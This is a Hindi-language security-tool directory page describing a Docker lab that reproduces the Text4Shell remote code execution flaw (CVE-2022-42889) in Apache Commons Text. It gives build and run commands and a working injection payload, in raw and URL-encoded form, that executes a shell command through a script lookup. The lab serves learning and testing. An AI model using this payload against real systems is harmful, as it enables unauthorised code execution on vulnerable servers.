Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2022-42889-text4shell — Docker-आधारित प्रयोगशाला वातावरण जो Apache Commons Text में Text4Shell (CVE-2022-42889) रिमोट कोड निष्पादन कमजोरी को पुन: उत्पन्न और परीक्षण करने के लिए है। | Kitploit
उपकरण/GitHubGitHub/joshbnewton31080/cve-2022-42889-text4shell
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षालैब और अभ्यास
GitHubjoshbnewton31080/cve-2022-42889-text4shell

cve-2022-42889-text4shell

Docker-आधारित प्रयोगशाला वातावरण जो Apache Commons Text में Text4Shell (CVE-2022-42889) रिमोट कोड निष्पादन कमजोरी को पुन: उत्पन्न और परीक्षण करने के लिए है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
रिपॉजिटरी देखें
12 साल पहलेअभी तक समीक्षित नहीं
साझा करें

Maven स्थापित करें - maven-linux


  1. फैट jar बनाने के लिए Maven स्थापित करें
root@kitploit:~
mvn clean install
  1. Docker बिल्ड
root@kitploit:~
docker build --tag=text4shell .
  1. Docker रन
root@kitploit:~
docker run -p 80:8080 text4shell
  1. ऐप का परीक्षण करें
root@kitploit:~
http://localhost/text4shell/attack?search=<anything>
  1. हमला “${prefix:name}” स्ट्रिंग पास करके किया जा सकता है, जहाँ prefix पूर्वोक्त lookup है:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

  1. आप dns या url उपसर्गों का उपयोग करके भी प्रयास कर सकते हैं।

  2. कंटेनर आईडी प्राप्त करें

root@kitploit:~
docker container ls
  1. ऐप में प्रवेश करें
root@kitploit:~
docker exec -it <container_id> bash
  1. यह जाँचने के लिए कि उपरोक्त RCE सफल हुआ या नहीं (आपको /tmp निर्देशिका में foo नाम की एक फ़ाइल बनी हुई दिखनी चाहिए):
root@kitploit:~
ls /tmp/
  1. कंटेनर को रोकने के लिए
root@kitploit:~
docker container stop <container_id>
टूल डाउनलोड करें